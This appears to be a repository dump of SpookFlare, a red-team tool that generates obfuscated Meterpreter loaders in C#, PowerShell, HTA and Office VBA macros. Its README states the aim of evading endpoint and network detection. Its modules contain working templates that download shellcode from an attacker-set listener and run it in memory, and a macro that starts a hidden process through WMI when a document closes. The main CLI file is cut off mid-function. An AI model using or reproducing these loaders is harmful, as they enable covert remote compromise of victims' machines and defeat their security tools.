├── lib ├── __init__.py ├── sfvba.py ├── sfmpps.py ├── sfmpbin.py └── sfhta.py ├── output └── test.spookflare.txt ├── .gitignore ├── requirements.txt ├── README.md ├── LICENSE └── spookflare.py /lib/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /output/test.spookflare.txt: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | __pycache__/ 2 | *.pyc 3 | -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | terminaltables 2 | -------------------------------------------------------------------------------- /lib/sfvba.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | import random 3 | import string 4 | import base64 5 | 6 | def randomString(): 7 | return ''.join([random.choice(string.ascii_letters) for n in range(12)]) 8 | 9 | def generateKey(): 10 | keys = "!#+%&/()=?_-*[]{}$><" 11 | return ''.join(random.sample(keys,len(keys))) 12 | 13 | def generateCmd(vbaKey, vbaCommand): 14 | return vbaKey.join([vbaCommand[i:i+1] for i in range(0, len(vbaCommand), 1)]) 15 | 16 | def generateVBALauncher(vbaFileType, vbaCommand, vbaMetaName): 17 | 18 | if vbaFileType == "word": 19 | vbaFileType = "ActiveDocument" 20 | elif vbaFileType == "excel": 21 | vbaFileType = "ActiveWorkbook" 22 | elif vbaFileType == "powerpoint": 23 | vbaFileType = "ActivePresentation" 24 | 25 | if vbaMetaName == "Comments": 26 | vbaMetaName = "C\"&\"o\"&\"m\"&\"m\"&\"e\"&\"n\"&\"t\"&\"s" 27 | elif vbaMetaName == "Company": 28 | vbaMetaName = "C\"&\"o\"&\"m\"&\"p\"&\"a\"&\"n\"&\"y" 29 | 30 | vbaCommandKey = generateKey() 31 | vbaBaseCmd = generateCmd(vbaCommandKey, vbaCommand) 32 | vbaBaseCode = '''Sub Auto_Close() 33 | {0} 34 | End Sub 35 | 36 | Sub AutoClose() 37 | {0} 38 | End Sub 39 | 40 | Public Function {0}() As Variant 41 | Dim {1} As DocumentProperty 42 | For Each {1} In {8}.BuiltInDocumentProperties 43 | If {1}.Name = "{10}" Then 44 | Dim {2} As String 45 | {2} = Replace({1}.Value, "{9}", "") 46 | Const HIDDEN_WINDOW = 0 47 | Set {3} = GetObject("w"&"i"&"n"&"m"&"g"&"m"&"t"&"s"&":"&"\\"&"\\"&"."&"\\"&"r"&"o"&"o"&"t"&"\\"&"c"&"i"&"m"&"v"&"2") 48 | Set {4} = {3}.Get("W"&"i"&"n"&"3"&"2"&"_"&"P"&"r"&"o"&"c"&"e"&"s"&"s"&"S"&"t"&"a"&"r"&"t"&"u"&"p") 49 | Set {5} = {4}.SpawnInstance_ 50 | {5}.ShowWindow = HIDDEN_WINDOW 51 | Set {6} = GetObject("w"&"i"&"n"&"m"&"g"&"m"&"t"&"s"&":"&"\\"&"\\"&"."&"\\"&"r"&"o"&"o"&"t"&"\\"&"c"&"i"&"m"&"v"&"2"&":"&"W"&"i"&"n"&"3"&"2"&"_"&"P"&"r"&"o"&"c"&"e"&"s"&"s") 52 | {6}.Create {2}, Null, {5}, {7} 53 | End If 54 | Next 55 | End Function''' 56 | 57 | loaderFinal = "'\n'Insert the following string to \""+vbaMetaName.replace("\"&\"", "")+"\" meta data section of file:\n'" + vbaBaseCmd + "\n'\n\n" 58 | loaderFinal += vbaBaseCode.format(randomString(), randomString(), randomString(), randomString(), randomString(), randomString(), randomString(), randomString(), vbaFileType, vbaCommandKey, vbaMetaName) 59 | return loaderFinal 60 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # SpookFlare 2 | 3 | 4 |

SpookFlare

5 | 6 | SpookFlare has a different perspective to bypass security measures and it gives you the opportunity to bypass the endpoint countermeasures at the client-side detection and network-side detection. SpookFlare is a loader/dropper generator for Meterpreter, Empire, Koadic etc. SpookFlare has obfuscation, encoding, run-time code compilation and character substitution features. So you can bypass the countermeasures of the target systems like a boss until they "learn" the technique and behavior of SpookFlare payloads. 7 | 8 | * Obfuscation 9 | * Encoding 10 | * Run-time Code Compiling 11 | * Character Substitution 12 | * Patched Meterpreter Stage Support 13 | * Blocked powershell.exe Bypass 14 | 15 | ``` 16 | ___ ___ ___ ___ _ _____ _ _ ___ ___ 17 | / __| _ \/ _ \ / _ \| |/ / __| | /_\ | _ \ __| 18 | \__ \ _/ (_) | (_) | ' <| _|| |__ / _ \| / _| 19 | |___/_| \___/ \___/|_|\_\_| |____/_/ \_\_|_\___| 20 | 21 | Version : 2.0 22 | Author : Halil Dalabasmaz 23 | WWW : artofpwn.com, spookflare.com 24 | Twitter : @hlldz 25 | Github : @hlldz 26 | Licence : Apache License 2.0 27 | Note : Stay in shadows! 28 | 29 | [*] You can use "help" command for access help section. 30 | 31 | SpookFlare > list 32 | 33 | ID | Payload | Description 34 | ----+------------------------+------------------------------------------------------------ 35 | 1 | meterpreter/binary | .EXE Meterpreter Reverse HTTP and HTTPS loader 36 | 2 | meterpreter/powershell | PowerShell based Meterpreter Reverse HTTP and HTTPS loader 37 | 3 | javascript/hta | .HTA loader with .HTML extension for specific command 38 | 4 | vba/macro | Office Macro loader for specific command 39 | 40 | ``` 41 | 42 | ## Installation 43 | ``` 44 | # git clone https://github.com/hlldz/SpookFlare.git 45 | # cd SpookFlare 46 | # pip install -r requirements.txt 47 | ``` 48 | 49 | ## Technical Details 50 | https://artofpwn.com/spookflare.html 51 | 52 | ## Usage Videos and Tutorials 53 | * SpookFlare HTA Loader for Koadic: https://youtu.be/6OyZuyIbRLU 54 | * SpookFlare PowerShell/VBA Loaders for Meterpreter: https://youtu.be/xFBRZz78U_M 55 | * v1.0 Usage Video: https://www.youtube.com/watch?v=p_eKKVoEl0o 56 | 57 | ### Note 58 | I developed the SpookFlare and technique for use in penetration tests, red team engagements and it is purely educational. Please use with responsibility and stay in shadows! 59 | 60 | ### Acknowledgements and References 61 | Special thanks to the following projects and contributors. 62 | * https://github.com/rapid7/metasploit-framework 63 | * https://github.com/zerosum0x0/koadic 64 | * https://github.com/EmpireProject/Empire 65 | * https://github.com/Veil-Framework/Veil 66 | * https://github.com/nccgroup/demiguise 67 | -------------------------------------------------------------------------------- /lib/sfmpps.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | import random 3 | import string 4 | import base64 5 | from base64 import b64encode 6 | 7 | def randomString(): 8 | return ''.join([random.choice(string.ascii_letters) for n in range(12)]) 9 | 10 | def checksum8(s): 11 | return sum([ord(ch) for ch in s]) % 0x100 12 | 13 | def genHTTPChecksum(): 14 | chk = string.ascii_letters + string.digits 15 | for x in range(64): 16 | uri = "".join(random.sample(chk,3)) 17 | r = "".join(sorted(list(string.ascii_letters+string.digits), key=lambda *args: random.random())) 18 | for char in r: 19 | if checksum8(uri + char) == 92: 20 | return uri + char 21 | 22 | def generateMPPSLoader(mpProto, mpLhost, mpLport, mpArch, mpSsize): 23 | if mpArch == "x86": 24 | mpArch = "ToInt32" 25 | mpDef = "UInt32" 26 | elif mpArch == "x64": 27 | mpArch = "ToInt64" 28 | mpDef = "UInt64" 29 | 30 | if mpProto == "https": 31 | mpPSSSLChk = "[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}" 32 | else: 33 | mpPSSSLChk = "" 34 | 35 | loaderHost = mpProto+"://"+mpLhost+":"+mpLport+"/"+genHTTPChecksum() 36 | baseMetPs = '''${0} = @" 37 | [DllImport("kernel32.dll")] public static extern IntPtr VirtualAlloc(IntPtr lpAddress, {8} dwSize, {8} flAllocationType, {8} flProtect); 38 | [DllImport("kernel32.dll")] public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, {8} dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, {8} dwCreationFlags, IntPtr lpThreadId); 39 | [DllImport("kernel32.dll")] public static extern {8} WaitForSingleObject(IntPtr hHandle, {8} dwMilliseconds); 40 | "@; 41 | {10} 42 | ${1} = New-Object "`N`et.`W`ebc`l`i`ent";${1}.Headers.Add("User-Agent", "Mozilla/5.0 (compatible; MSIE 11.0; Trident/7.0; rv:11.0)");${1}.Headers.Add("Accept", "*/*");${1}.Headers.Add("Accept-Language", "en-gb,en;q=0.5");[Byte[]] ${2} = ${1}."D`o`wn`l`oa`d`Data"("{9}");${3} = New-Object byte[] (${2}.Length - {4});[Array]::Copy(${2}, {4}, ${3}, 0, (${2}.Length - {4}));${5} = A`d`d-T`y`p`e -memberDefinition ${0} -Name "Win32" -namespace `W`in`3`2`F`un`ct`i`on`s -passthru;${6}=${5}::VirtualAlloc(0,${3}.Length,0x3000,0x40);[Runtime.InteropServices.Marshal]::Copy(${3}, 0, [IntPtr](${6}.{7}()), ${3}.Length);${5}::CreateThread(0,0,${6},0,0,0) | oUT-NuLl;`S`T`A`R`T-`S`l`e`E`p -s `8`6`4`2`0''' 43 | 44 | loaderFinal = baseMetPs.format(randomString(), randomString(), randomString(), randomString(), mpSsize, randomString(), randomString(), mpArch, mpDef, loaderHost, mpPSSSLChk) 45 | return loaderFinal 46 | 47 | def generateMPPSCsharpLoader(mpPsCode): 48 | mCsharpCode = '''using System; 49 | using System.IO; using System.Diagnostics; using System.Reflection; using System.Runtime.InteropServices; using System.Collections.ObjectModel; using System.Management.Automation; using System.Management.Automation.Runspaces; using System.Text; 50 | public class {0} {{ 51 | public static void Main() {{ 52 | byte[] {1} = Convert.FromBase64String("{6}"); 53 | string {2} = Encoding.UTF8.GetString({1}); 54 | Runspace {3} = RunspaceFactory.CreateRunspace(); 55 | {3}.Open(); 56 | RunspaceInvoke {4} = new RunspaceInvoke({3}); 57 | Pipeline {5} = {3}.CreatePipeline(); 58 | {5}.Commands.AddScript({2}); 59 | {5}.Invoke(); 60 | {3}.Close(); 61 | return; 62 | }} 63 | }}''' 64 | 65 | loaderFinal = mCsharpCode.format(randomString(), randomString(), randomString(), randomString(), randomString(), randomString(), b64encode(mpPsCode.encode())) 66 | return loaderFinal 67 | -------------------------------------------------------------------------------- /lib/sfmpbin.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | import random 3 | import string 4 | import base64 5 | from base64 import b64encode 6 | 7 | def randomString(): 8 | return ''.join([random.choice(string.ascii_letters) for n in range(12)]) 9 | 10 | def checksum8(s): 11 | return sum([ord(ch) for ch in s]) % 0x100 12 | 13 | def genHTTPChecksum(): 14 | chk = string.ascii_letters + string.digits 15 | for x in range(64): 16 | uri = "".join(random.sample(chk,3)) 17 | r = "".join(sorted(list(string.ascii_letters+string.digits), key=lambda *args: random.random())) 18 | for char in r: 19 | if checksum8(uri + char) == 92: 20 | return uri + char 21 | 22 | def generateMPBinLoader(mpBinProto, mpBinLhost, mpBinLport, mpBinArch, mpBinSsize): 23 | 24 | if mpBinProto == "https": 25 | mpBinSSLChk = "ServicePointManager.ServerCertificateValidationCallback = (sender, cert, chain, sslPolicyErrors) => true;" 26 | else: 27 | mpBinSSLChk = "" 28 | 29 | if mpBinArch == "x86": 30 | mpBinArch = "UInt32" 31 | elif mpBinArch == "x64": 32 | mpBinArch = "UInt64" 33 | 34 | mpBinNSpace = randomString() 35 | mpBinLClass = randomString() 36 | loaderHost = mpBinProto+"://"+mpBinLhost+":"+mpBinLport+"/"+genHTTPChecksum() 37 | loaderBase = '''using System;using System.Net;using System.Runtime.InteropServices; namespace {24} {{ public class {25} {{ [DllImport ("kernel32")] private static extern {23} VirtualAlloc ({23} {0}, {23} {1}, {23} {2}, {23} {3}); [DllImport ("kernel32")] private static extern IntPtr CreateThread ({23} {4}, {23} {5}, {23} {6}, IntPtr {7}, {23} {8}, ref {23} {9}); [DllImport ("kernel32")] private static extern {23} WaitForSingleObject (IntPtr {10}, {23} {11}); [DllImport ("kernel32.dll")] static extern IntPtr GetConsoleWindow (); [DllImport ("user32.dll")] static extern bool ShowWindow (IntPtr {12}, int {13}); public static void Main () {{ShowWindow (GetConsoleWindow (), 0);{14}WebClient {15} = new System.Net.WebClient ();{15}.Headers.Add ("User-Agent", "Mozilla/5.0 (compatible; MSIE 11.0; Trident/7.0; rv:11.0)");{15}.Headers.Add ("Accept", "*/*");{15}.Headers.Add ("Accept-Language", "en-gb,en;q=0.5");byte[] {16} = null;{16} = {15}.DownloadData ("{26}");byte[] {17} = new byte[{16}.Length - {18}];Array.Copy ({16}, {18}, {17}, 0, {17}.Length);{23} {19} = VirtualAlloc (0, ({23}) {17}.Length, 0x1000, 0x40);Marshal.Copy ({17}, 0, (IntPtr) ({19}), {17}.Length);IntPtr {20} = IntPtr.Zero;{23} {21} = 0;IntPtr {22} = IntPtr.Zero;{20} = CreateThread (0, 0, {19}, {22}, 0, ref {21});WaitForSingleObject ({20}, 0xFFFFFFFF);}}}}}}'''.format(randomString(), randomString(), randomString(), randomString(),randomString(), randomString(), randomString(), randomString(), randomString(), randomString(), randomString(), randomString(), randomString(), randomString(), mpBinSSLChk, randomString(), randomString(), randomString(), mpBinSsize, randomString(), randomString(), randomString(), randomString(), mpBinArch, mpBinNSpace, mpBinLClass, loaderHost) 38 | loaderKey = (''.join(random.sample("hlldzé!^+%&/()=?_<>£#$[]|",len("hlldzé!^+%&/()=?_<>£#$[]|")))[0:3]) 39 | loaderCode = loaderKey.join([loaderBase[i:i+1] for i in range(0, len(loaderBase), 1)]).replace("\"", "\\\"") 40 | loaderFinal = '''using System;using System.CodeDom.Compiler;using System.Reflection;using Microsoft.CSharp;namespace {0} {{public class {1} {{public static void Main () {{string {2} = "{3}".Replace("{4}", "");CSharpCodeProvider {5} = new CSharpCodeProvider ();CompilerParameters {6} = new CompilerParameters (new [] {{"mscorlib.dll", "System.dll"}});{6}.GenerateInMemory = true;{6}.ReferencedAssemblies.Add (Assembly.GetEntryAssembly ().Location);CompilerResults {7} = {5}.CompileAssemblyFromSource ({6}, {2});Assembly {8} = {7}.CompiledAssembly;Type {9} = {8}.GetType ("{10}.{11}");MethodInfo {12} = {9}.GetMethod ("Main");{12}.Invoke (null, null);}}}}}}'''.format(randomString(), randomString(), randomString(), loaderCode, loaderKey, randomString(), randomString(), randomString(), randomString(), randomString(), mpBinNSpace, mpBinLClass, randomString()) 41 | return loaderFinal 42 | -------------------------------------------------------------------------------- /lib/sfhta.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | import random 3 | import string 4 | import base64 5 | 6 | def randomString(): 7 | return ''.join([random.choice(string.ascii_letters) for n in range(12)]) 8 | 9 | def generateKey(): 10 | keys = "!#+%&/()=?_-*[]$><" 11 | return ''.join(random.sample(keys,len(keys))) 12 | 13 | def generateBase(htaCommand, htaFileName): 14 | htaKey = generateKey() 15 | if "\"" in htaCommand: 16 | htaPayload = htaKey.join([htaCommand[i:i+1] for i in range(0, len(htaCommand), 1)]).replace("\"", "\"\"") 17 | else: 18 | htaPayload = htaKey.join([htaCommand[i:i+1] for i in range(0, len(htaCommand), 1)]) 19 | 20 | baseHta = '''''' 33 | 34 | launcherBase = '''''' 35 | launcherFinal = launcherBase.format(randomString(), randomString(), randomString(), randomString(), randomString()) 36 | return launcherFinal 37 | cdata = " " 38 | def obfuscateHta(launcherFinal): 39 | finalPayload = "" 104 | return finalPayload.format(randomString(), randomString(), randomString()) 105 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | Apache License 2 | Version 2.0, January 2004 3 | http://www.apache.org/licenses/ 4 | 5 | TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION 6 | 7 | 1. Definitions. 8 | 9 | "License" shall mean the terms and conditions for use, reproduction, 10 | and distribution as defined by Sections 1 through 9 of this document. 11 | 12 | "Licensor" shall mean the copyright owner or entity authorized by 13 | the copyright owner that is granting the License. 14 | 15 | "Legal Entity" shall mean the union of the acting entity and all 16 | other entities that control, are controlled by, or are under common 17 | control with that entity. For the purposes of this definition, 18 | "control" means (i) the power, direct or indirect, to cause the 19 | direction or management of such entity, whether by contract or 20 | otherwise, or (ii) ownership of fifty percent (50%) or more of the 21 | outstanding shares, or (iii) beneficial ownership of such entity. 22 | 23 | "You" (or "Your") shall mean an individual or Legal Entity 24 | exercising permissions granted by this License. 25 | 26 | "Source" form shall mean the preferred form for making modifications, 27 | including but not limited to software source code, documentation 28 | source, and configuration files. 29 | 30 | "Object" form shall mean any form resulting from mechanical 31 | transformation or translation of a Source form, including but 32 | not limited to compiled object code, generated documentation, 33 | and conversions to other media types. 34 | 35 | "Work" shall mean the work of authorship, whether in Source or 36 | Object form, made available under the License, as indicated by a 37 | copyright notice that is included in or attached to the work 38 | (an example is provided in the Appendix below). 39 | 40 | "Derivative Works" shall mean any work, whether in Source or Object 41 | form, that is based on (or derived from) the Work and for which the 42 | editorial revisions, annotations, elaborations, or other modifications 43 | represent, as a whole, an original work of authorship. For the purposes 44 | of this License, Derivative Works shall not include works that remain 45 | separable from, or merely link (or bind by name) to the interfaces of, 46 | the Work and Derivative Works thereof. 47 | 48 | "Contribution" shall mean any work of authorship, including 49 | the original version of the Work and any modifications or additions 50 | to that Work or Derivative Works thereof, that is intentionally 51 | submitted to Licensor for inclusion in the Work by the copyright owner 52 | or by an individual or Legal Entity authorized to submit on behalf of 53 | the copyright owner. For the purposes of this definition, "submitted" 54 | means any form of electronic, verbal, or written communication sent 55 | to the Licensor or its representatives, including but not limited to 56 | communication on electronic mailing lists, source code control systems, 57 | and issue tracking systems that are managed by, or on behalf of, the 58 | Licensor for the purpose of discussing and improving the Work, but 59 | excluding communication that is conspicuously marked or otherwise 60 | designated in writing by the copyright owner as "Not a Contribution." 61 | 62 | "Contributor" shall mean Licensor and any individual or Legal Entity 63 | on behalf of whom a Contribution has been received by Licensor and 64 | subsequently incorporated within the Work. 65 | 66 | 2. Grant of Copyright License. Subject to the terms and conditions of 67 | this License, each Contributor hereby grants to You a perpetual, 68 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable 69 | copyright license to reproduce, prepare Derivative Works of, 70 | publicly display, publicly perform, sublicense, and distribute the 71 | Work and such Derivative Works in Source or Object form. 72 | 73 | 3. Grant of Patent License. Subject to the terms and conditions of 74 | this License, each Contributor hereby grants to You a perpetual, 75 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable 76 | (except as stated in this section) patent license to make, have made, 77 | use, offer to sell, sell, import, and otherwise transfer the Work, 78 | where such license applies only to those patent claims licensable 79 | by such Contributor that are necessarily infringed by their 80 | Contribution(s) alone or by combination of their Contribution(s) 81 | with the Work to which such Contribution(s) was submitted. If You 82 | institute patent litigation against any entity (including a 83 | cross-claim or counterclaim in a lawsuit) alleging that the Work 84 | or a Contribution incorporated within the Work constitutes direct 85 | or contributory patent infringement, then any patent licenses 86 | granted to You under this License for that Work shall terminate 87 | as of the date such litigation is filed. 88 | 89 | 4. Redistribution. You may reproduce and distribute copies of the 90 | Work or Derivative Works thereof in any medium, with or without 91 | modifications, and in Source or Object form, provided that You 92 | meet the following conditions: 93 | 94 | (a) You must give any other recipients of the Work or 95 | Derivative Works a copy of this License; and 96 | 97 | (b) You must cause any modified files to carry prominent notices 98 | stating that You changed the files; and 99 | 100 | (c) You must retain, in the Source form of any Derivative Works 101 | that You distribute, all copyright, patent, trademark, and 102 | attribution notices from the Source form of the Work, 103 | excluding those notices that do not pertain to any part of 104 | the Derivative Works; and 105 | 106 | (d) If the Work includes a "NOTICE" text file as part of its 107 | distribution, then any Derivative Works that You distribute must 108 | include a readable copy of the attribution notices contained 109 | within such NOTICE file, excluding those notices that do not 110 | pertain to any part of the Derivative Works, in at least one 111 | of the following places: within a NOTICE text file distributed 112 | as part of the Derivative Works; within the Source form or 113 | documentation, if provided along with the Derivative Works; or, 114 | within a display generated by the Derivative Works, if and 115 | wherever such third-party notices normally appear. The contents 116 | of the NOTICE file are for informational purposes only and 117 | do not modify the License. You may add Your own attribution 118 | notices within Derivative Works that You distribute, alongside 119 | or as an addendum to the NOTICE text from the Work, provided 120 | that such additional attribution notices cannot be construed 121 | as modifying the License. 122 | 123 | You may add Your own copyright statement to Your modifications and 124 | may provide additional or different license terms and conditions 125 | for use, reproduction, or distribution of Your modifications, or 126 | for any such Derivative Works as a whole, provided Your use, 127 | reproduction, and distribution of the Work otherwise complies with 128 | the conditions stated in this License. 129 | 130 | 5. Submission of Contributions. Unless You explicitly state otherwise, 131 | any Contribution intentionally submitted for inclusion in the Work 132 | by You to the Licensor shall be under the terms and conditions of 133 | this License, without any additional terms or conditions. 134 | Notwithstanding the above, nothing herein shall supersede or modify 135 | the terms of any separate license agreement you may have executed 136 | with Licensor regarding such Contributions. 137 | 138 | 6. Trademarks. This License does not grant permission to use the trade 139 | names, trademarks, service marks, or product names of the Licensor, 140 | except as required for reasonable and customary use in describing the 141 | origin of the Work and reproducing the content of the NOTICE file. 142 | 143 | 7. Disclaimer of Warranty. Unless required by applicable law or 144 | agreed to in writing, Licensor provides the Work (and each 145 | Contributor provides its Contributions) on an "AS IS" BASIS, 146 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or 147 | implied, including, without limitation, any warranties or conditions 148 | of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A 149 | PARTICULAR PURPOSE. You are solely responsible for determining the 150 | appropriateness of using or redistributing the Work and assume any 151 | risks associated with Your exercise of permissions under this License. 152 | 153 | 8. Limitation of Liability. In no event and under no legal theory, 154 | whether in tort (including negligence), contract, or otherwise, 155 | unless required by applicable law (such as deliberate and grossly 156 | negligent acts) or agreed to in writing, shall any Contributor be 157 | liable to You for damages, including any direct, indirect, special, 158 | incidental, or consequential damages of any character arising as a 159 | result of this License or out of the use or inability to use the 160 | Work (including but not limited to damages for loss of goodwill, 161 | work stoppage, computer failure or malfunction, or any and all 162 | other commercial damages or losses), even if such Contributor 163 | has been advised of the possibility of such damages. 164 | 165 | 9. Accepting Warranty or Additional Liability. While redistributing 166 | the Work or Derivative Works thereof, You may choose to offer, 167 | and charge a fee for, acceptance of support, warranty, indemnity, 168 | or other liability obligations and/or rights consistent with this 169 | License. However, in accepting such obligations, You may act only 170 | on Your own behalf and on Your sole responsibility, not on behalf 171 | of any other Contributor, and only if You agree to indemnify, 172 | defend, and hold each Contributor harmless for any liability 173 | incurred by, or claims asserted against, such Contributor by reason 174 | of your accepting any such warranty or additional liability. 175 | 176 | END OF TERMS AND CONDITIONS 177 | 178 | APPENDIX: How to apply the Apache License to your work. 179 | 180 | To apply the Apache License to your work, attach the following 181 | boilerplate notice, with the fields enclosed by brackets "[]" 182 | replaced with your own identifying information. (Don't include 183 | the brackets!) The text should be enclosed in the appropriate 184 | comment syntax for the file format. We also recommend that a 185 | file or class name and description of purpose be included on the 186 | same "printed page" as the copyright notice for easier 187 | identification within third-party archives. 188 | 189 | Copyright [yyyy] [name of copyright owner] 190 | 191 | Licensed under the Apache License, Version 2.0 (the "License"); 192 | you may not use this file except in compliance with the License. 193 | You may obtain a copy of the License at 194 | 195 | http://www.apache.org/licenses/LICENSE-2.0 196 | 197 | Unless required by applicable law or agreed to in writing, software 198 | distributed under the License is distributed on an "AS IS" BASIS, 199 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 200 | See the License for the specific language governing permissions and 201 | limitations under the License. 202 | -------------------------------------------------------------------------------- /spookflare.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | from __future__ import print_function 4 | 5 | import cmd 6 | import os 7 | import signal 8 | import sys 9 | 10 | from lib import sfhta, sfmpbin, sfmpps, sfvba 11 | from terminaltables import AsciiTable 12 | 13 | intro = '''\033[1m\033[91m ___ ___ ___ ___ _ _____ _ _ ___ ___ 14 | / __| _ \/ _ \ / _ \| |/ / __| | /_\ | _ \ __| 15 | \__ \ _/ (_) | (_) | ' <| _|| |__ / _ \| / _| 16 | |___/_| \___/ \___/|_|\_\_| |____/_/ \_\_|_\___| 17 | \033[0m 18 | Version : 2.0 19 | Author : Halil Dalabasmaz 20 | WWW : artofpwn.com, spookflare.com 21 | Twitter : @hlldz 22 | Github : @hlldz 23 | Licence : Apache License 2.0 24 | Note : Stay in shadows! 25 | 26 | \033[1m\033[94m[*]\033[0m You can use "help" command for access help section\033[0m. 27 | ''' 28 | 29 | def ctrlcHandler(signum, frame): 30 | print(" \n\n \033[1m\033[94m[*]\033[0m Exited but do not forget to stay in the shadows!\033[0m\n") 31 | sys.exit(0) 32 | 33 | class sfCmd(cmd.Cmd): 34 | global helpText 35 | helpText = "Commands" 36 | def __init__(self, intro=intro, prompt="\033[1mSpookFlare > \033[0m"): 37 | cmd.Cmd.__init__(self) 38 | self.intro = intro 39 | self.prompt = prompt 40 | self.doc_header = helpText 41 | global moduleName 42 | moduleName = "" 43 | 44 | def do_list(self, line): 45 | optionsValues = [ 46 | ["ID", "Payload", "Description"], 47 | ["1", "meterpreter/binary", ".EXE Meterpreter Reverse HTTP and HTTPS loader"], 48 | ["2", "meterpreter/powershell", "PowerShell based Meterpreter Reverse HTTP and HTTPS loader"], 49 | ["3", "javascript/hta", ".HTA loader with .HTML extension for specific command"], 50 | ["4", "vba/macro", "Office Macro loader for specific command"] 51 | ] 52 | optTable = AsciiTable(optionsValues) 53 | optTable.outer_border = False 54 | optTable.inner_column_border = True 55 | print("\n" + optTable.table + "\n") 56 | 57 | def do_use(self, line): 58 | try: 59 | global moduleName 60 | moduleName = line.split()[0] 61 | except IndexError: 62 | print("\n \033[1m\033[91m[!]\033[0m You need to give a valid payload id.\033[0m\n") 63 | if moduleName in ("1", "meterpreter/binary"): 64 | moduleName = "meterpreter/binary" 65 | sfCmds = mpBinaryModule() 66 | sfCmds.cmdloop() 67 | elif moduleName in ("2", "meterpreter/powershell"): 68 | moduleName = "meterpreter/powershell" 69 | sfCmds = mpPSModule() 70 | sfCmds.cmdloop() 71 | elif moduleName in ("3", "javascript/hta"): 72 | moduleName = "javascript/hta" 73 | sfCmds = jsHtaModule() 74 | sfCmds.cmdloop() 75 | elif moduleName in ("4", "vba/macro"): 76 | moduleName = "vba/macro" 77 | sfCmds = vbaModule() 78 | sfCmds.cmdloop() 79 | else: 80 | pass 81 | 82 | def do_exit(self, line): 83 | print(" \n \033[1m\033[94m[*]\033[0m Exited but do not forget to stay in the shadows!\033[0m\n") 84 | return True 85 | 86 | def emptyline(self): 87 | pass 88 | 89 | def help_list(self): 90 | print("List available payloads") 91 | 92 | def help_use(self): 93 | print("Use specific payload. Syntax: use ") 94 | 95 | def help_exit(self): 96 | print("Exit SpookFlare") 97 | 98 | def help_info(self): 99 | print("Show payload options and parameter values") 100 | 101 | def help_set(self): 102 | print("Set value to parameter. Syntax: set ") 103 | 104 | def help_generate(self): 105 | print("Generate the payload with current values.") 106 | 107 | def help_back(self): 108 | print("Back to SpookFlare main menu.") 109 | 110 | class mpBinaryModule(sfCmd): 111 | global mpbProto, mpbLhost, mpbLport, mpbArch, mpbSsize 112 | mpbProto = None 113 | mpbLhost = None 114 | mpbLport = None 115 | mpbArch = None 116 | mpbSsize = "0" 117 | 118 | def __init__(self): 119 | sfCmd.__init__( 120 | self, intro="", prompt="\033[1mSpookFlare [\033[91m" + moduleName + "\033[0m\033[1m] >\033[0m ") 121 | 122 | def do_info(self, line): 123 | print("\n \033[1m\033[94m[*]\033[0m Module Info\033[0m\n") 124 | print(''' This module can be used to generate .EXE loaders and it is 125 | coded with C#. It support Meterpreter Reverse HTTP, 126 | Reverse HTTPS staged payloads. The payloads generated by 127 | this module has two parts. The first part is the real loader 128 | code generated with character substitution. The second part 129 | is to compile and run the first part at runtime.''') 130 | print("\n \033[1m\033[94m[*]\033[0m Module Options\033[0m") 131 | optionsValues = [ 132 | ["Parameter", "Required", "Value", "Description"], 133 | ["PROTO", "Yes", mpbProto, "Listener protocol. Accepted: http or https"], 134 | ["LHOST", "Yes", mpbLhost, "The local listener hostname or IP address"], 135 | ["LPORT", "Yes", mpbLport, "The local listener port."], 136 | ["ARCH", "Yes", mpbArch, "Architecture of target system. Accepted: x86 or x64"], 137 | ["SSIZE", "No", mpbSsize, "If you patched Metasploit insert your patch size"] 138 | ] 139 | optTable = AsciiTable(optionsValues) 140 | optTable.outer_border = False 141 | optTable.inner_column_border = False 142 | optTable.justify_columns[1] = "center" 143 | print("\n" + optTable.table + "\n") 144 | 145 | def do_set(self, line): 146 | global mpbProto 147 | global mpbLhost 148 | global mpbLport 149 | global mpbArch 150 | global mpbSsize 151 | if line.split()[0] == "PROTO": 152 | if line.split()[1] in ("http", "https"): 153 | mpbProto = line.split()[1] 154 | print("PROTO => " + line.split()[1]) 155 | else: 156 | print("\n \033[1m\033[91m[!]\033[0m Please enter valid value.\n") 157 | elif line.split()[0] == "LHOST": 158 | mpbLhost = line.split()[1] 159 | print("LHOST => " + line.split()[1]) 160 | elif line.split()[0] == "LPORT": 161 | try: 162 | int(line.split()[1]) 163 | if (0 < int(line.split()[1]) < 65536): 164 | mpbLport = line.split()[1] 165 | print("LPORT => " + line.split()[1]) 166 | else: 167 | print("\n \033[1m\033[91m[!]\033[0m Please enter valid value.\n") 168 | except ValueError: 169 | print("\n \033[1m\033[91m[!]\033[0m Please enter valid value.\n") 170 | elif line.split()[0] == "ARCH": 171 | if line.split()[1] in ("x86", "x64"): 172 | mpbArch = line.split()[1] 173 | print("ARCH => " + line.split()[1]) 174 | else: 175 | print("\n \033[1m\033[91m[!]\033[0m Please enter valid value.\n") 176 | elif line.split()[0] == "SSIZE": 177 | try: 178 | int(line.split()[1]) 179 | if int(line.split()[1]) >= 0: 180 | mpbSsize = line.split()[1] 181 | print("SSIZE => " + line.split()[1]) 182 | else: 183 | print("\n \033[1m\033[91m[!]\033[0m Please enter valid value.\n") 184 | except ValueError: 185 | print("\n \033[1m\033[91m[!]\033[0m Please enter valid value.\n") 186 | 187 | def 